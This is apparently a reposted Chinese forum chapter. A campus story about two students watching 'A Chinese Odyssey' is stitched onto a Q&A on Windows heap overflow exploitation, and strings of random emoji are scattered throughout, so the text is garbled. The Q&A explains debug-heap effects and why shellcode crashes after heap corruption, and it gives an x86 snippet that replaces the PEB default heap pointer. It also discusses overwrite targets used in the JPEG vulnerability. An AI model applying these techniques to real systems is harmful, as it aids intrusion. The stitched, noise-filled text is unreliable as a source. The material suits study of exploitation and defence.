“是啊!周星星的经典之作啊!图书馆影院就在旁边吧?才3块钱,挺便宜的嘛!我们要不要重温一遍?” 小倩转头望着身旁的宇强。 “好啊!这部电影的每句台词、每个眼神、每个细节,都绝对的经典。我每看一次,总会发现不同的东西。” 👦👜💊🤐🤝 “那好啊!看看这次你有没有新的发现!” “现在我郑重宣布,这座山上所有的东西都是我的,包括你。”紫霞的开场白是那样的气贯云霄,像一个童话故事(其实宇强心里想的是:其实这个世界没有什么属于你的,包括你自己。)! 也许我们就是为了创造属于自己的东西才来到这个世上,因为年轻,所以押注于爱情! 🤞⛴🔪➡🐻 至尊宝拒绝了紫霞,他以为自己还爱晶晶。见到晶晶,他又发现紫霞才是真爱。命运一直在同他开玩 笑:至尊宝忽然成了孙悟空,千辛万苦找晶晶又爱上了紫霞。而抉择是那样的残酷:要打败牛魔王救紫霞, 就必须戴上紧箍咒做回神通广大的孙悟空;而戴上紧箍咒就不能有半点情欲,只有取经去。 至尊宝挖开自己的心,看到了紫霞留在那里的一滴眼泪,毕竟曾经沧海过!五百年又五百年,兜了一个大圈又回到了原地。 👎⛪🫑📵🦜 “生亦何欢,死亦何苦。”大彻大悟。紧箍咒圈住昔日的梦想,圈住棱角分明的个性。成熟是一个很痛的词,它不一定会得到,却一定会失去。“从前现在过去便再不来,红红落叶长埋尘土内……苦海……翻起爱恨……”当片尾曲响起时, 宇强想到:“成熟,就代表会失去么……”。 从影院中出来,宇强和小倩走在回宿舍的路上,落叶铺满整个水泥石面,踩上去沙沙作响。难得的明月挂在天上,如同白银一般倾泻下来。宇强望了望身边的小倩,是一层迷幻的白光……“如同天使啊! ”宇 强心里说不出的欢喜。👨🚒🧣📱🥱👂 “这部电影是不是太悲情了点呢? ”小倩问道。 “在电影院里有那种感觉,有种失落感!” 👄⛴🦀🉑🪶 “现在呢?”“现在?”宇强又恢复了精神,“我又想起损失,我们都要经受这个过程,但正因为有损失,我们才能在生活上得到成长;生命,的确很短暂,但正因为短暂,我们创造的美好东西在日后才能长期永存。” “所以,我我现在想的就是:把握青春岁月,奋进不息,努力干一番事业! ‘成事在天,谋事在人’! ” 🤞🦼🦀🆚🐤 “哦,你能有这样的想法啊,很不错嘛! ”小倩赞同的说道。 “当然,我可是一个很上进的人啊!哈哈!” 👨🦱🩰🖲🤮👈 “快看……流星! ”小倩突然指着夜空激动地说。 天边一道亮光滑过。 “快许愿,快许愿! ”宇强催促道(许愿中……)🧓🩴🏮😳🖕 “呵呵!你许的什么愿望啊?” “不说,说出来就不灵了!要默默的许! ”小倩笑个不停。 🖐🔥🔪❗🐢 不知不觉已到了小倩的寝室楼下。“书下次还给你啊! ”小倩说。 “好的,不用急,你慢慢看,再见!” 宇强在回去的路上,不知不觉的想起了《月光宝盒》的主题歌。👨🎨👓⌨💩👂 一生所爱 从前 现在 过去 便再不来 红红 落叶 长埋 尘土内 开始 终结 总是 没变改 天边的你 飘过白云外...... 苦海 翻起爱恨 在世间 难逃离命运 相亲 竟不可接近 或我 应该相信 是缘分 课后解惑 👁🛩🍧❌🐒Q:对于各个Windows版本,堆的处理过程都一样么? A:堆管理和回收是个很大的主题。微软也一直在试验与改进,希望在效率和资源占用方面取得一个合理的折衷。所以堆管理器采用的分配算法,在不同的Windows版本上是不同的,但微软的改进毕竟是逐步的, 所以讲的方法基本对各种版本研究都有效。 Q:堆溢出的利用有很大的实际意义么? A:当然!堆溢出的危害还不像堆栈溢出那样被人认识得很清楚。无论是实际的利用,还是深入的研究方法, 都很有意义。有本书讲解防止缓冲区溢出的方法时,居然建议不使用数组,使用动态分配这一项。 🙌🎢🍍🆎🪰 Q:为什么一再要求不要在VC里调试和运行堆溢出相关程序呢? A: Windows为堆管理提供了两套API, —套用于正常管理分配,另一套用于调试。使用VC这类ring3调试 器调试时,Windows会创建调试堆,并使用调试那套函数,这样就和正常运行时的堆处理不同。所以一再要求在正常模式下运行相关程序。如果要对正常的堆分配进行跟踪,最好使用ringO调试器(如SoftICE)。 Q: DEBUG版本和RELEASE版本的还有些什么不同呢? 🤞🏫🍌ℹ🦋A: DEBUG版和RELEASE版由于编译选项不同,所以编译器对它们的链接处理和生成的程序也不同。DEBUG 版多了很多东西,比如调试信息;RELEASE版还会进行优化。所以调试版本会比发布版大很多。 Q:我写了一些程序,在DEBUG版时可以正常运行;但做成RELEASE版却报错,马上就要发布了,天啊!这 是怎么回事啊? A:不要轻易将问题归结为DEBUG/RELEASE问题,先确保有没有其他原因。如果是DEBUG/RELEASE的问题, 最大的可能性是变量初始化的问题。在DEBUG下,编译器会自动把变量初始化;而RELEASE版则不会。另 外,预处理的不同、资源文件的改变,都有可能带来问题。 👆🌦🍖‼🐂 Q:堆溢出利用的ShellCode为什么会有这么多要求呢?怎么解决呢?A: API函数执行会使用到进程的堆块。我们把堆覆盖了,那么函数执行时就会发生异常。 可按如下方法解决: 👨⚕️👑🔒😪👌 我们可以使用系统中另外存在的一个堆替换掉PEB中系统默认的堆,比如: mov eax,fs:[0x00000018] 〈---------PEB地址 ✊🏦🍪♾🦜 mov eax,[eax+0x30]lea eax,[eax+0x18] 〈--------获得进程默认HEAP BASE地址?????? mov ebx,0x170000?? mov [eax],ebx 〈-----------换成0X170000 🧑🍳👚📥😉👂 我们也可恢复HEAP FREE LIST结构,由于被破坏的主要是释放堆连表的结构,我们可以取出链表进行分析, 恢复成一个正常的释放堆链表。 具体实现我们将在ShellCode的高级编程中讲到。 Q:为什么覆盖Call [esi+4c]指令的地址就会引发异常,从而进入异常处理点?而为什么在JPEG漏洞中可以覆盖0x7830B1DC处的函数,又不会出错呢?👮♂️💄🗑😪👃 A:这涉及到PE文件的的分段了。Call [esi+4c]的指令是在text段,就是代码段中。text段是不可 写的,所以往它附近写入时就会出错,从而进入异常处理;而JPEG漏洞利用时,覆盖函数的地址是在data 段中,而data段是可以写的,所以不会引发异常。 Q:还有哪些堆溢出利用的实际例子呢? A:有很多哦,建议再看看RPC堆溢出漏洞的分析和利用,对增加堆的利用经验有很大帮助! |
继续学习啊,顶起,这篇难度大了很多,还需要多看几次啊。
|